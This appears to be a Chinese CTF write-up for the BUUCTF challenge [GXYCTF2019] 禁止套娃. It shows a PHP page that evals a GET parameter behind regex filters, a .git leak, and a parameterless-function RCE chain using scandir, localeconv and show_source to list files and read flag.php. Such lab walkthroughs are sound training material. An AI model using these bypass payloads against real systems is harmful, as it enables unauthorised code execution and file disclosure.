https://buuoj.cn/challenges#[GXYCTF2019]%E7%A6%81%E6%AD%A2%E5%A5%97%E5%A8%83

BUUCTF:[GXYCTF2019]禁止套娃_php


BUUCTF:[GXYCTF2019]禁止套娃_数组_02


.git泄露,使用GitHack

BUUCTF:[GXYCTF2019]禁止套娃_函数返回_03


index.php

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

两个preg_match()过滤一些关键字,主要看到

preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])

?R表示引用正则表达式本身,那么这里允许传入的应该就是下面这种格式

xxx(xxx(xxx(...)));

函数形式,但是不能有参数,无参数RCE,这种时候就需要翻手册了,查找无参数可利用的函数

首先,需要一个浏览目录内的所有文件的函数,这个当然首选:scandir()。当scandir()传入'.',可以列出当前目录的所有文件

BUUCTF:[GXYCTF2019]禁止套娃_php_04


所以如果有函数能够返回'.'的话,就可以利用它作为scandir()的参数

localeconv() 函数返回一包含本地数字及货币格式信息的数组

BUUCTF:[GXYCTF2019]禁止套娃_数组_05

接下来只需要使得指针指向这个数组内的第一个值

current() 函数返回数组中的当前元素的值。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。

pos() 函数返回数组中的当前元素的值。该函数是 current() 函数的别名。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。

?exp=var_dump(scandir(current(localeconv())));

BUUCTF:[GXYCTF2019]禁止套娃_数组_06


接下来看如何读取到flag.php

next() 函数将内部指针指向数组中的下一个元素,并输出。

array_reverse() 函数返回翻转顺序的数组。

把数组顺序倒一下,然后使用next(),就可以读到flag

?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

BUUCTF:[GXYCTF2019]禁止套娃_数组_07